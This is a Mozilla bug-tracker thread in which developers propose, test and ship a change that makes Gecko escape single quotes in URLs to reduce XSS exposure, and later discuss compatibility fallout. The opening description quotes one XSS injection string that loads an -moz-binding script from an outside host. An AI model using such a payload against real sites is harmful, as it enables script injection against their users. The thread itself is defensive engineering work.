376844 - Single quotes in URLs should be escaped

Status: RESOLVED FIXED

(Core :: Networking, defect)

Description

[Wladimir Palant]

Attachment: Patch (checked in)

The current escape matrix goes back to bug 108575 and allows single quote character to stay unescaped in URLs. I propose to revert this change and always escape it as %27. This is not consistent with RFC2396 but I cannot think of any case where it will break something. The advantage: it will significantly reduce the number of exploitable XSS vulnerabilities.

Typical scenario: a web page uses REQUEST_URI in some attribute, e.g. form action. If the attribute value is enclosed in double quotes, escaping makes it impossible to break out of the attribute. If it uses single quotes however (very common) the attacker might inject the string |'style='-moz-binding:url(http://malicious.xbl.script/)| - Gecko will not escape single quotes and will not prevent this attack. Recent example: http://www.buayacorp.com/files/wordpress/wordpress-advisory.txt

You have the same problem with JavaScript, single quotes seem to be used for string literals even more often than double quotes. If the web page puts some URL parameter without proper encoding in such a string literal it might break out and inject JavaScript code.

Comment 1

[Christian :Biesinger (don't email me, ping me on IRC)]

Comment on attachment 260952 [details] [diff] [review]
Patch (checked in)

a unit test would be nice

Comment 2

[Wladimir Palant]

Attachment: Unit test (checked in)

Comment 3

[Wladimir Palant]

There is a problem - this behavior isn't consistent with encodeURIComponent() JavaScript function any more and causes for example test_default_index_handler.js (httpserver unit test) to fail. JavaScript has its own list of characters that shouldn't be escaped in js_uriUnescaped_ucstr variable (jsstr.c). The proper solution should be to remove single quotes from this list as well but this wouldn't conform the ECMA-262 spec. What should we do with it?

Comment 4

[Christian :Biesinger (don't email me, ping me on IRC)]

hm... would it help to make that test use nsINetUtil::escapeString?

Comment 5

[Wladimir Palant]

Attachment: Patch for the httpserver unit test

Changes the unit test for HTTP server to use nsINetUtil so it is no longer affected by this URL encoding change.

Comment 6

[Jeff Walden [:Waldo]]

Comment on attachment 261026 [details] [diff] [review]
Patch for the httpserver unit test

Does this change match the semantics at the following location?  I'm not entirely sure, and ideally we should keep the code at the two locations reasonably synced to make verifying correctness easier.

http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/netwerk/test/httpserver/httpd.js&rev=1.4&mark=594-598#589

Comment 7

[Wladimir Palant]

I discussed this with biesi on IRC already. The conclusion was that the comparison in this unit test isn't between the output of httpd.js and escaped file name but rather result of newURI and escaped file name so that the encoding method in httpd.js shouldn't matter. Which doesn't mean that we cannot take the same change for httpd.js (which will also make this note superfluous).

Comment 8

[Jeff Walden [:Waldo]]

Comment on attachment 261026 [details] [diff] [review]
Patch for the httpserver unit test

(In reply to comment #7)

Okay; I've thought about it long enough that this makes sense to me, and yeah, changing the output escaping isn't necessary.

Comment 9

[Kenneth Herron]

I checked in the first two patches. The third patch doesn't apply cleanly, and looks like it may not be needed any more. Wladimir, could you review that and post a new patch if needed? Clearing the checkin-needed status for now.

Comment 10

[Wladimir Palant]

Comment on attachment 261026 [details] [diff] [review]
Patch for the httpserver unit test

Looks like Jeff fixed this issue in bug 367214 already.

Comment 11

[Sylvain Pasche]

(In reply to comment #0)
> This is not consistent with RFC2396 but I cannot think of any
> case where it will break something.

Apparently someone found a case where it breaks something, see bug 407172.

Comment 12

[bwporter]

Yes, this breaks certain MediaWiki installations when people create pages titles with single quotes in them.  Unfortunately, my example page is behind a corporate firewall.

Comment 13

[zhong.j.yu]

It is heartwarming that Firefox tries to protect web servers from dangerous URLs. Once all other browsers die off, and direct socket programming is banned on earth[*], attackers will have no way to trick a vulnerable web server simply by sending it a crafted URL.